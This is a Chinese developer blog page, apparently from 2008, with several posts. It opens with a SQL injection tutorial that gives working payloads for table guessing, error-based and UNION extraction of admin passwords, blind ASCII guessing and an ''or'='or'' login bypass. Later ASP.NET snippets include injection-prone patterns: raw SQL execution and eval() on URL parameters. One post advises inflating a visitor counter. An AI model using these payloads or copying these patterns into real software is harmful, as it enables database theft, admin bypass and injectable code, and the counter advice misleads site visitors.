posts - 25, comments - 2, trackbacks - 1, articles - 1
  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理

公告

2008年6月13日

sql注入

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.


注入大致方法:


先猜表名
And (Select count(*) from 表名)<>0
猜列名
And (Select count(列名) from 表名)<>0
或者也可以这样
and exists (select * from 表名)
and exists (select 列名 from 表名)
返回正确的,那么写的表名或列名就是正确
这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3  这样是不信的
现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容
获得数据库连接用户名:;and user>0
这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:
----------------------------------------------------------------------------------------------------------
"重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer
的出错提示是:将nvarch"
-----------------------------------------------------------------------------------------------------------                                                  
看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则
是暴数据库名。
一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是
Order by 10   
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 by admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 by admin
上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名
反正就是返回正确即对,返回异常即错
另外还有十分常用的ascll码拆半法
先要知道指定列名,例如user里的内容的长度
and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余
后面的逻辑符号可以根据不同要求更改的,
>大于 <小于 =就是等于咯,更新语句的话,=也可以表示传递符号 <>就是不等
知道了长度后就可以开始猜解了
And (Select top 1 asc(mid(user,n,1)) from admin)>100
n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里内容的第一位的ASCLL字符是不是大于100
正确的话,那么表示USER第一个字符的ASCLL码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCLL转换器吧这个转换成普通字符就可以了
然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
加在url后面,列名表名还是先猜解,返回正确的代表帐号的ascll码大于100,那么就再向前猜,指导报错,把猜出来的ascll码拿去ascll转换器转换就可以了,中文是负数,加上asb取绝对值
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
得到之后就记得在数字前加-号,不然ASCLL转换器转换不来的,中文在ASCLL码里是-23423这样的,所以猜起来挺麻烦
这个猜解速度比较慢,但是效果最好,最具有广泛性
2.2.后台身份验证绕过漏洞
验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误
例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
那么我使用'or 'a'='a来做用户名密码的话,那么查询就变成了
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是    假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了
这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似
sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。
第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了
3 防御方法
对于怎么防御SQL注入呢,这个网上很多,我这里讲几个
如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; “”;form;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。
当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法
Function SafeRequest(ParaName,ParaType)
 '--- 传入参数 ---
 'ParaName:参数名称-字符型
 'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
 Dim ParaValue
 ParaValue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(ParaValue) then
   Response.write "参数" & ParaName & "必须为数字型!"
   Response.end
  End if
 Else
  ParaValue=replace(ParaValue,"'","''")
 End if
 SafeRequest=ParaValue
End function
然后就用SafeRequest()来过滤参数 ,检查参数是否为数字,不是数字的就不能通过

posted @ 2008-06-13 17:05 庞滨 阅读(59) 评论(0) 编辑

我们在做注销时,往往要用到。 将正在用的窗口关闭,跳转到登陆窗口.
1. aspx页面的的代码:
<font color="white">
                            
<asp:Button ID="Button1" runat="server" Text="注销" BackColor="Navy" BorderColor="DarkBlue" Font-Size="Smaller" ForeColor="White" OnClick="Button1_Click" Width="77px" />
                        
</font>
                 
也可以用此方法直接关闭父窗口, 不过会弹出提示关闭的对话框。 我用的是上面的方法。
<href="javascript:parent.close()"><font color="white">注销</font></a>
2. aspx 中的代码中加入当窗口关闭时打开登陆窗口的代码.
<script type="text/javascript">
        var obj = new Object();
        obj.name="i5tt";
        function window.onunload()
        {
             window.open("../Default.aspx");
        }
    
</script>
  
</head>

3.  aspx.cs文件中   关闭有框架的父窗口.
protected void Button1_Click(object sender, EventArgs e)
        
{
            
            Response.Write(
"<script language='javascript'>parent.opener=null; parent.close();</script>");
        }

Feedback

#1楼 59.41.68.* newpings@163.com   回复  引用  查看  删除  

2007-11-03 17:12 by Charlie8 [未注册用户]
wj-wangjun ,我照你的方法,做了。
这个语句没有起作用。没有转跳。

function window.onunload()
{
window.open("../Default.aspx");
}

#2楼 219.134.134.*   回复  引用  查看  删除  

2007-11-06 11:35 by wj-wangjun [未注册用户]
@Charlie8
实际是当执行关闭现有页面时打开一个新的页面。
跳转到另一个页面可以传值但这里不可以。只能进行所需的新页面.

 

posted @ 2008-06-13 14:26 庞滨 阅读(797) 评论(0) 编辑

程序原理:
//1. 要将Application["user_sessions"]的值放到数据库中,不然,当服务器关闭时这个值就会被删除。
//2. 在Global.asax文件中 根根Session 来设置Application["user_sessions"]值的加减.
//3. 也要注意在web.config文件中设置Session 在下面讲了。
//4. 建立一个数据库表。
//5. 在数据库表中设初始值(可以设大一点)。以便访问量让别人看起来访问量会很大。
//6. 将获得的新的Application["user_sessions"]的值 Update到数据库表中。


//========显示访问的人数
 <script language="c#" runat="server">
        private void Page_Load(object sender, System.EventArgs e)
        {
            this.visitors.Text = "本站当前有: <br>" + Application["user_sessions"].ToString() + "" + "<br> 位访问者 !";
        }
</script>
//====Global.asax文件

 1using System;
 2using System.Collections;
 3using System.ComponentModel;
 4using System.Web;
 5using System.Web.SessionState;
 6
 7namespace BYD_SPCSystem 
 8{
 9    /// <summary>
10    /// Global 的摘要说明。
11    /// </summary>

12    public class Global : System.Web.HttpApplication
13    {
14        /// <summary>
15        /// 必需的设计器变量。
16        /// </summary>

17        private System.ComponentModel.IContainer components = null;
18
19        public Global()
20        {
21            InitializeComponent();
22        }
    
23        
24        protected void Application_Start(Object sender, EventArgs e)
25        
29 
30        protected void Session_Start(Object sender, EventArgs e)
31        {
32            //session的生存期是多长,是可以设定的,Session.timeout=X(分钟)
33            //在一个新用户访问应用程序 Web 站点时,该事件被触发。
34            Application.Lock();
35            Application["user_sessions"= (int)Application["user_sessions"+ 1;
36            Application.UnLock();
37
38        }

39
40        protected void Application_BeginRequest(Object sender, EventArgs e)
41        {
42
43        }

44
45        protected void Application_EndRequest(Object sender, EventArgs e)
46        {
47
48        }

49
50        protected void Application_AuthenticateRequest(Object sender, EventArgs e)
51        {
52
53        }

54
55        protected void Application_Error(Object sender, EventArgs e)
56        {
57
58        }

59
60        protected void Session_End(Object sender, EventArgs e)
61        {
62            //在一个用户的会话超时、结束或他们离开应用程序 Web 站点时,该事件被触发。
63            Application.Lock();
64            Application["user_sessions"= (int)Application["user_sessions"]-1;
65            Application.UnLock();
66        }

67
68        protected void Application_End(Object sender, EventArgs e)
69        {
70
71        }

72            
73        Web 窗体设计器生成的代码
83    }

84}

85
86


//=====web.config文件



//删除Session   
//================1. 关闭网页时加载另一个页面
<script type="text/javascript">
var obj = new Object();
obj.name="i5tt";
function window.onunload()
{
window.showModalDialog("ClosePage.aspx",obj,"dialogWidth=200px;dialogHeight=100px");
}
</script>

//========2. 清空Session  
 <%Session.Clear(); Session.Abandon();  %>
//========3. 将这个页面关闭.
protected void Page_Load(object sender, EventArgs e)
        {
            Response.Write("<script language='javascript'>window.close();</script>");
        }
//========4. 注意这样清除Session的话,在每次刷新页面时都会将Session自动清空,因为Session是在页面加载时清空的。 
  -->1. 刷新是用来更新当前数据的显示信息
         -->2. 重新提交页面. 

Feedback

#1楼 222.125.46.*   回复  引用  查看  删除  

2007-08-11 13:26 by ayu [未注册用户]
//========2. 清空Session
<%Session.Clear(); Session.Abandon(); %>

这个是写在哪里的吖?没看懂...

#2楼 [楼主]   回复  引用  查看  删除  修改

2007-08-11 13:44 by wj-conquer      
@ayu
写在 *.aspx页面的任何位置都可以,一定要加<% %>
也可以在 *.aspx.cn 中的
protected void Page_Load(object sender, EventArgs e)
{
     Session.Clear();   //可以不写此行。
Session.Abandon();
}
两种写法的作用是一样的。 

posted @ 2008-06-13 14:25 庞滨 阅读(904) 评论(0) 编辑

using System;
using System.Collections.Generic;
using System.Text;
using System.Data;
using System.Data.SqlClient;
using System.Data.Sql;

namespace DAL
{
    public class DBAccess
    {
        private SqlConnection objConn;
        private SqlCommand objComm;

        public DBAccess(string strConn)
        {
            objConn = new SqlConnection(strConn);  
       
        }
        //增,删,改
        public bool ExecuteSQL(string strSQL,out string strMessage)
        {
            try
            {
                objConn.Open();
                objComm = new SqlCommand(strSQL, objConn);
                strMessage = objComm.ExecuteNonQuery().ToString();
                return true;
            }
            catch (Exception ex)
            {
                strMessage = ex.Message;
                return false;
            }
            finally
            {
                if(objConn!=null)
                {
                    objConn.Close();
                }
           }
        }

       
        //查
        public bool SearchSQL(string strSelSQL, out DataSet dsResult, out string strMessage)
        {
            DataSet objDataSet = new DataSet();
            try
            {
                objConn.Open();
                SqlDataAdapter objSqlDataAdapter = new SqlDataAdapter(strSelSQL,objConn);
                objSqlDataAdapter.Fill(objDataSet);
                strMessage = "";
                return true;
            }
            catch (Exception ex)
            {
                strMessage = ex.Message;
                return false;
            }
            finally
            {
                dsResult = objDataSet;
                if(objConn!=null)
                {
                    objConn.Close();
                }
            }
        }
    }
}

posted @ 2008-06-13 14:23 庞滨 阅读(126) 评论(0) 编辑

要求: 
点击左边框架页面中的铵钮后,在右边框架中显示一个页面。 并将左边框架中的值带到右边框架中。

解决方法:
-->1.
点击左边框架中的按钮:
类中的代码为:    
注:当传多个值时别忘了用 & 做连接  
protected void Button1_Click(object sender, EventArgs e)
        
{
            
string name="测试成功了!";
            
string id = "10001";
           
// Response.Write("<script>window.top.mainfram.location='DeskWeb/Test.aspx?v_id=" + id + "';</script>");
            Response.Write("<script>window.top.mainfram.location='DeskWeb/Test.aspx?v_id="+id+"&v_name="+name+"';</script>");
            
//Response.Redirect("DeskWeb/Test.aspx",);
        }

-->2.
在右边框架中弹出页面: 那如何获取值呢?看下面的aspx页面中的代码:
里面的v_id 和v_name 为通过 url传过来的变量.
<head runat="server">
    
<title>无标题页</title>
<script language="javascript"> 
var tmpArr,QueryString; 
var URL = document.location.toString(); 
if(URL.lastIndexOf("?")!=-1)
QueryString
= URL.substring(URL.lastIndexOf("?")+1,URL.length); 
tmpArr
=QueryString.split("&"); 
for (i=0;i<=tmpArr.length;i++
try{eval (tmpArr[i]);} 
catch (e)
var re = new RegExp("(.*)=(.*)","ig"); 
re.exec(tmpArr[i]); 
try{eval (RegExp.$1+"="+"\""+RegExp.$2+"\"");} 
catch(e){} 
}
 
}
 
}
 
else 

QueryString
=""
}
 
</script> 
<script language="javascript"> 
document.write (
"查询串为:"+QueryString+"<br>"); 
if (typeof(v_id)!="undefined"
{
document.write(
"ID 值 为:     "+v_id+"<br>");
}

if(typeof(v_name)!="undefined")
{
    document.write(
"v_name的值为:    "+v_name+"<br>");
}
 
document.write(top.leftfram.getParameter());
</script>
</head>
<body>

结果为:
查询串为:v_id=10001&v_name=测试成功了!
ID 值 为: 10001
v_name的值为: 测试成功了!
kendoff444444


//------------------------------------------------
index.htm文件在url里传递参数:
<a href="aaa.htm?">例子1</a> <a href="aaa.htm?ID=23">例子2</a> <a href="aaa.htm?ID=67&Name=cool">例子3</a>

posted @ 2008-06-13 14:22 庞滨 阅读(517) 评论(0) 编辑

ASP.NET的错误处理机制

对于一个Web应用程序来说,出错是在所难免的,因此我们应该未雨绸缪,为可能出现的错误提供恰当的处理。事实上,良好的错误处理机制正是衡量Web应用程序好坏的一个重要标准。试想一下,当用户不小心在浏览器输入了错误的URL或者当用户提供了一些信息导致程序出错的时候,如果我们没有对这些情况进行处理,而是任由404或是500的错误页面甚至出错的堆栈信息呈现在用户面前,这无疑会把一些用户给吓跑。所以,在我们开发Web应用程序的时候,应该对错误处理机制有充分的了解。

   
让我们回到ASP.NET上来,先提两个问题让大家思考一下:ASP.NET为我们提供了几种错误处理机制呢?如果同时采用了几种错误处理机制,它们之间是否存在一定的优先级呢?带着这个问题,我们先来看一下我们最常见的Web.Config文件:

<?xml version="1.0"?>
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="GenericErrorPage.htm">
<error statusCode="403" redirect="Error403.htm" />
<error statusCode="404" redirect="Error404.htm" />
</customErrors>
</system.web>
</configuration>


对于<customErrors>这个设置项,我想无需多言了,详情可以参考MSDN的。第一种错误处理机制——使用Web.Config<customErrors>配置项应该是大家最常用的。
接着,我们再看另外一个也很常用的文件:Global.asax。提到这个文件,大家想到了什么呢?对,就是跟两大Web应用程序对象(ApplicationSession)相关的事件了。在这些事件当中,有一个属于Application范畴的与错误相关的事件——Error,而对应的事件处理方法就是Application_Error了。顾名思义,这个事件处理方法在应用程序级别错误发生的时候就会被调用,因此你可以在这个方法中添加代码来对错误进行处理,如下所示:

protected void Application_Error(object sender, EventArgs e) {
Exception objErr = Server.GetLastError().GetBaseException();
Response.Write("Error:" + objErr.Message);
Server.ClearError();
}

在这里,大家要注意最后一句代码Server.ClearError()的使用,为什么要使用这句代码呢?如果不用又会怎样呢?在这里我又先卖个关子。好了,第二种错误处理机制——使用Global.asax中的Application_Error事件处理方法也登台亮相了。

以上这两种错误处理方法都可以说是全局性的,一个源自应用程序配置文件,一个则是必须放在应用程序根目录下的Global.asax文件的事件处理方法。与全局相对的就是局部,所以我们很自然的就会想:有没有应用于局部——某个页面的错误处理机制呢?答案是有的,而且还有两种————使用ErrorPage属性以及使用Page_Error事件处理方法。对于第一种机制,你几乎可以在任何时候设置ErrorPage属性,从而确定页面发生错误的时候会重定向至哪个页面;对于第二种机制而言,它与Application_Error事件处理方法是很类似的,只不过被触发的时机不同而已。以下是具体的两个例子:

<script language="C#" runat="server">
protected void Page_Load(object sender, EventArgs e) {
this.ErrorPage = "ErrorPage.htm";

}
</script>


protected void Page_Error(object sender, EventArgs e) {
Exception objErr = Server.GetLastError().GetBaseException();
Response.Write("Error:" + objErr.Message);
Server.ClearError(); //
同样要注意这句代码的使用
}

至此,四种错误处理机制已经悉数登场,是时候给它们排个名次了。根据优先级从高到低排序:Page_Error事件处理方法 > ErrorPage属性 > Application_Error事件处理方法 > <customErrors>配置项。虽然排序是这样,但是这个排序之间又有微妙的关系。首先,要让ErrorPage属性能够发挥作用,<customErrors>配置项中的mode属性必须设为"On";其次,虽然Page_Error事件处理方法排在最前面,但是,如果少掉了Server.ClearError()方法的话,仍然会引发优先级较低的错误处理,也就是说ErrorPage属性等错误处理机制仍然会发挥作用,这样就得不到你想要的结果了。这种情况对于Application_Error事件处理方法也是如此。顺序是排好了,但是顺序却不是最重要的问题,甚至可以说是没有太多意义的问题,因为在很多情况下,你可能并不会混合使用这四种处理机制。我想,最重要的问题还是在如何选用这些错误处理机制上。对于这个问题,希望有经验的朋友能够谈谈看法。

好了,关于ASP.NET的四种错误处理机制就介绍到这里,也该说说自己的一些感受了。ASP.NET的设计者确实站在开发者的角度作了周全的考虑,因此提供了多达四种的错误处理机制供我们选用,这一点是值得称道的。但是套用一句广告词——多则惑,我们也会被这么多的错误处理机制弄得有些头晕。对照J2EE领域中的错误处理,我们可以发现会相对简单一些。首先是对应<customErrors>的设置,我们也可以从J2EE项目最常用的web.xml文件中找到类似的配置项:<errorPage>;其次,在J2EE的领域中,Page并不是一个重要的实体而且事件驱动模型也不是必需的,所以我还真的找不到与Application_ErrorPage_Error方法对应的处理机制;最后,在J2EE的领域中,更多强调的是RequestResponse,一旦在逻辑处理中出现了错误,我们可以很容易地通过RequestDispatcherRequest分发到相应的错误处理模块中,事实上这是非常灵活的一种处理方式,有兴趣的朋友不妨了解一下。
//==========================================================
 

ASP.NET的自定义错误处理类

/*----------------------------------------------------------------

 * Copyright (C) BYD-D3IT, all rights reserved.

*

 * 文件名 :ErrorManager.cs

 * 功能描述:asp.net中统一的错误修理,与本类相配套需要增加一个错误信息显示页面,如error.aspx 

 *

 * 使用说明:. 在Application_Start()中启动定时器(定时清空错误信息):ErrorManager.Instance.Start(),

 *              默认小时运行一次,或用ErrorManager.Instance.SetTimerInterval()设置。

 *           2. 在Application_Error()中,当发生错误时,保存这个错误信息并转到error.aspx中显示这个错误

 *               string key = ErrorManager.Instance.AddError();

 *               Response.Redirect("error.aspx?key=" + key);

 *           3. 在error.aspx中通过url传来的key,取得并显示错误信息:

 *               string err = ErrorManager.Instance.GetError(key)

 *              err中前个字符是错误发生的时间,后面是错误信息。

 *           4. 为了捕捉Session超时的错误,而不是返回Session[key]是null的错误信息,本类增加了GetSession()

 *              和SetSession函数来统一管理Session,以后aspx中不能直接读取Session,而必须通过本类来读取。

 *

 *

 * 创建标识:

 *

 * 修改标识:

 * 修改描述:

 *

 * 修改标识:

 * 修改描述:

 *----------------------------------------------------------------*/

using System;

using System.Data;

using System.Configuration;

using System.Web;

using System.Web.Security;

using System.Web.UI;

using System.Web.UI.WebControls;

using System.Web.UI.WebControls.WebParts;

using System.Web.UI.HtmlControls;

using System.Collections;

///<summary>

/// Summary description for Error

///</summary>

public class ErrorManager

{

    private System.Timers.Timer m_timer;

    private Hashtable m_htErr;

    /**////<summary>

    ///私有的构造函数

    ///</summary>

    private ErrorManager()

    {

        this.m_timer = new System.Timers.Timer();

        this.m_timer.Enabled = false;

        this.m_timer.Interval = 12 * 60 * 60 * 1000;    //默认个小时执行一次

        this.m_timer.Elapsed += new System.Timers.ElapsedEventHandler(m_timer_Elapsed);

        this.m_htErr = new Hashtable();

    }

    /**////<summary>

    ///单例模式的接口

    ///</summary>

    public static readonly ErrorManager Instance = new ErrorManager();

    /**////<summary>

    ///设置定时器的频率,单位是毫秒

    ///</summary>

    ///<param name="Interval">毫秒</param>

    public void SetTimerInterval(int Interval)

    {

        this.m_timer.Interval = Interval;

    }

    /**////<summary>

    ///定时器开始

    ///</summary>

    public void TimerStart()

    {

        this.m_timer.Enabled = true;

    }

    /**////<summary>

    ///定时器结束

    ///</summary>

    public void TimerStop()

    {

        this.m_timer.Enabled = false;

    }

    /**////<summary>

    ///发生了一个错误,把错误信息保存起来,并返回错误的id,便于页面中读取

    ///</summary>

    ///<returns>返回错误的id</returns>

    public string AddError()

    {

        string key = Guid.NewGuid().ToString();

        string msg = System.DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")

            + HttpContext.Current.Server.GetLastError().GetBaseException().Message;

        this.m_htErr.Add(key, msg);

        HttpContext.Current.Server.ClearError();

        return key;

    }

    ///<summary>

    ///返回指定Key的错误信息,前个字符是错误发生的时间

    ///</summary>

    ///<param name="key">key,是一个guid</param>

    ///<returns>返回错误信息</returns>

    public string GetError(string key)

    {

        return this.m_htErr[key].ToString();

    }

    /**////<summary>

    ///定时在Hashtable中清理错误信息

    ///</summary>

    ///<param name="sender"></param>

    ///<param name="e"></param>

    private void m_timer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)

    {

        ArrayList list = new ArrayList();

        lock (this.m_htErr)

        {

            DateTime now = DateTime.Now;

            TimeSpan ts;

            foreach (string key in this.m_htErr.Keys)

            {

                //前个字符是错误发生的日期,yyyy-MM-dd HH:mm:ss

                string time = this.m_htErr[key].ToString().Substring(0, 19);   

                ts = now - Convert.ToDateTime(time);

                if (ts.TotalMinutes > 20)   //把分钟前的错误信息从hashtable中清除

                    list.Add(key);

            }

            foreach (string key in list)

            {

                this.m_htErr.Remove(key);

            }

        }

    }

    #region Session操作的封装

    /**////<summary>

    ///取得指定键值的Session

    ///</summary>

    ///<param name="key">键值</param>

    ///<returns>键内容值</returns>

    public object GetSession(string key)

    {

        object val = HttpContext.Current.Session[key];

        if (val == null)

            throw new Exception("页面超时,请重新登录。");

        return val;

    }

    /**////<summary>

    ///设置Session

    ///</summary>

    ///<param name="key">键值</param>

    ///<param name="val">键内容</param>

    public void SetSession(string key, object val)

    {

        HttpContext.Current.Session[key] = val;

    }

    #endregion

}

posted @ 2008-06-13 14:21 庞滨 阅读(68) 评论(0) 编辑

在DW中如何改变CSS中的字体大小和颜色?
悬赏分:50 - 解决时间:2007-7-11 12:03
我想在自己的网站中应用这个菜单,但是菜单的字体是固定的,应该怎样改变字体的大小(这个字体太小了,中文显示很难看!)和鼠标经过时的底色要改成其他颜色。最后时字体不要加粗效果。谢谢

代码如下:

<HTML><HEAD><TITLE>我的网站</TITLE>
<META http-equiv=Content-Type content="text/html; charset=utf-8">
<STYLE type=text/css>
@import url( css/dhtml-vert.css );
BODY {
PADDING-RIGHT: 30px; PADDING-LEFT: 30px; BACKGROUND: #fff; PADDING-BOTTOM: 30px; MARGIN: 0px; COLOR: #666; PADDING-TOP: 30px
}
H1 {
FONT: bold 36px "Times New Roman", Times, serif}
P {
FONT: 20px Arial, Helvetica, sans-serif
}
A {
COLOR: #900; TEXT-DECORATION: none
}
A:hover {
BACKGROUND: #900; COLOR: #fff
}
.style1 {font-size: 30px}
.style4 {
font-size: 24px;
font-family: Arial, Helvetica, sans-serif;
}
</STYLE>
<!--[if gte IE 5.5]>
<SCRIPT language=JavaScript src="js/dhtml.js"
type=text/JavaScript></SCRIPT>
<![endif]-->
<META content="MSHTML 6.00.2900.2963" name=GENERATOR></HEAD>
<BODY>
<UL id=navmenu>
<LI><A
href="http://www.baidu.com/" class="style4">usb 系列</A>
<LI><A
href="http://www.makewing.com/lanren/" class="style1"> mini usb 系列</A>
<LI><A
href="http://www.makewing.com/lanren/" class="style1"> hdmi 系列</A>
<LI><A
href="http://www.makewing.com/lanren/" class="style1"> avi 系列</A>
<LI><A
href="http://www.makewing.com/lanren/" class="style1"> ac 系列</A>
<LI><A
href="http://www.makewing.com/lanren/" class="style1"> dc 系列</A>
<LI><A
href="http://www.makewing.com/lanren/" class="style1"> cable 系列</A>
</UL>
</BODY></HTML>
最佳答案
我想在自己的网站中应用这个菜单,但是菜单的字体是固定的,应该怎样改变字体的大小(这个字体太小了,中文显示很难看!)
先解这个问题:
修改这两个CSS即可
.style1 {font-size: 30px}
.style4 {
font-size: 24px;
font-family: Arial, Helvetica, sans-serif;
}
怎么修改:
.style1 {font-size: 30 px}
.style1 {字体 大小: 数值 PX是像素(这个是单位类似厘米)}
这里只要改数值大小,在一般网页中,大小都是12px
.style4 { font-size: 24px; (这个不用再说了和上面一样)
font-family: Arial, Helvetica, sans-serif;
}
font-family: Arial, Helvetica, sans-serif;
字体 类型:一种英文字体;
如:
font-family:"宋体"; 这就是中文宋体
font-family:"黑体"; 这就是中文黑体
一般网页中默认为宋体,大小为12像素
关于这个字体类型,就看你喜欢什么字体了,
注意的是,最好用系统自带的字体,这样出来的页面,所有人都能看到,如果用的字体在别人系统上没有这个字体,是看不到你这种字体的效果的,

2、鼠标经过时的底色要改成其他颜色
解决这个找到样式:
A { COLOR: #900; TEXT-DECORATION: none }
A:hover { BACKGROUND: #900; COLOR: #fff }
第一行是:鼠标还没经过时的样式,
这时字是血红色
第二行是:当鼠标放在上面的样式,
这时字是白色,背景为血红色
现在来解决:
A { COLOR: #900; TEXT-DECORATION: none }
COLOR: #900;
字体颜色: 颜色代码
#000000 黑色
#ffffff 白色
#ff0000 红色
#ffff00 黄色
等等,其它颜色,你有DW找一下就OK了
TEXT-DECORATION: 这个在DW里叫修饰;就是网页常见的链接有下划线,上划线,删除线之类的
none 而这个就是属性:无
他还有几种:比如你想要下划线:underline 上划线:overline删除线:line-through 等;

再来说说这个:
A:hover { BACKGROUND: #900; COLOR: #fff }
BACKGROUND: #900;
背景 颜色:血红色
#900也可以用#990000来表示,得是一样的
你要改的背景色就是这个颜色了
#900为什么等于#990000,
在颜色代码中遇到有规律的代码可以用三个数来代替
如:#000000 上面所说的黑色,就可以用#000
总结一下,#112233,像这样的,就可以用#123来代替

3、最后时字体不要加粗效果
加粗效果,在你上面给出的代码中没有体现出来但在样式中有一个是加粗的,你删除他就成了
H1 { FONT: bold 36px "Times New Roman", Times, serif}
你把bold删除

posted @ 2008-06-13 14:20 庞滨 阅读(30) 评论(0) 编辑

 protected void GVImage_RowDataBound(object sender, GridViewRowEventArgs e)
        {
            string strDescription = e.Row.Cells[4].Text.Trim().ToString();
            if (strDescription.Length > 22)
                e.Row.Cells[4].Text = strDescription.Substring(0,22)+"...";
            //使GridView 变色
            if (e.Row.RowType == DataControlRowType.DataRow)
            {
                e.Row.Attributes.Add("onmouseover", "c=this.style.backgroundColor;this.style.backgroundColor='#00A9FF'");
                e.Row.Attributes.Add("onmouseout", "this.style.backgroundColor=c");
            }
        }
//backgroundColor  这里的C一定要大写

posted @ 2008-06-13 14:19 庞滨 阅读(32) 评论(0) 编辑

1. 设置GridView 的属性 AllowSorting="True" 否则没有可排序的下横线.
2. 邦定要序排的字段
<asp:BoundField HeaderText="货号" DataField="ch_MaterialID" SortExpression="ch_MaterialID">
                                
<ItemStyle Height="10px" Width="100px" />
                            
</asp:BoundField>
3. 写排序的事件代码:
        //在排序发生前激发
        protected void GVStorageMaterial_Sorting(object sender, GridViewSortEventArgs e)
        
{
            
string strPage = e.SortExpression.ToString();
            
switch (strPage)
            
{
                
case "ch_ImageID":
                    ViewState[
"SortOrder"= "ch_ImageID";
                    
break;
                
case "ch_MaterialID":
                    ViewState[
"SortOrder"= "ch_MaterialID";
                    
break;
                
case "ch_MaterialName":
                    ViewState[
"SortOrder"= "ch_MaterialName";
                    
break;
            }

            
            
//string sPage = e.SortExpression;
            if (ViewState["OrderDire"] == null)
            {
                ViewState["OrderDire"] = "ASC";
            }
            if (ViewState["OrderDire"].ToString() == "ASC")
                ViewState["OrderDire"] = "DESC";
            else
                ViewState["OrderDire"] = "ASC";
            string strSQLSel = StrSqlSearch();
            this.InitializeGridview(strSQLSel);
        }

4. 在显示GridView的视图中设置排序的属性.
string sort = (string)ViewState["SortOrder"] + " " + (string)ViewState["OrderDire"];

bool flagSel = objDBAccess.SearchSQL(strSQLSel, out objDS, out strMessage);
            
if (flagSel)
            
{
                DataView dv
=objDS.Tables[0].DefaultView;
                dv.Sort 
= strSort;
                GV.DataSource 
= dv;
                GV.DataBind();
            }

posted @ 2008-06-13 14:18 庞滨 阅读(41) 评论(0) 编辑

1using System;
 2using System.Collections;
 3using System.ComponentModel;
 4using System.Data;
 5using System.Drawing;
 6using System.Web;
 7using System.Web.SessionState;
 8using System.Web.UI;
 9using System.Web.UI.WebControls;
10using System.Web.UI.HtmlControls;
11using System.IO;
12namespace UploadFile
13{
14    /// <summary>
15    /// Summary description for WebForm1.
16    /// </summary>

17    public partial class UploadPage : System.Web.UI.Page
18    {
19        private void Page_Load(object sender, System.EventArgs e)
20        {
21            try
22            {
23                string strXML = Request.QueryString["DefXML"];
24
25                string strFolder = "C:\\UploadFiles\\";
26                if (!System.IO.Directory.Exists(strFolder))
27                {
28                    System.IO.Directory.CreateDirectory(strFolder);
29                }

30                string strFileName = strFolder + DateTime.Now.ToString("yyyy_MM_dd_hh_mm_ss"+ ".xml";
31                FileStream fs = new System.IO.FileStream(strFileName, System.IO.FileMode.OpenOrCreate, System.IO.FileAccess.ReadWrite);
32                StreamWriter sw = new System.IO.StreamWriter(fs);
33                sw.WriteLine(strXML);
34                sw.Flush();
35                sw.Close();
36                fs.Close();
37                Response.Write(strXML + "! File Save OK!");
38            }

39            catch (Exception ex)
40            {
41                Response.Write(ex.Message);
42            }

43            // Put user code to initialize the page here
44        }

45
46    //    #region Web Form Designer generated code
47        //override protected void OnInit(EventArgs e)
48    //    {
49    //        //
50    //        // CODEGEN: This call is required by the ASP.NET Web Form Designer.
51    //        //
52    //        InitializeComponent();
53    //        base.OnInit(e);
54    //    }
55
56    //    /// <summary>
57    //    /// Required method for Designer support - do not modify
58    //    /// the contents of this method with the code editor.
59    //    /// </summary>
60    //    private void InitializeComponent()
61    //    {
62    //        this.Load += new System.EventHandler(this.Page_Load);
63    //    }
64    //    #endregion
65    }

66}

67

posted @ 2008-06-13 14:16 庞滨 阅读(163) 评论(0) 编辑

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0038)http://www.hao123.com/haoserver/wn.htm -->
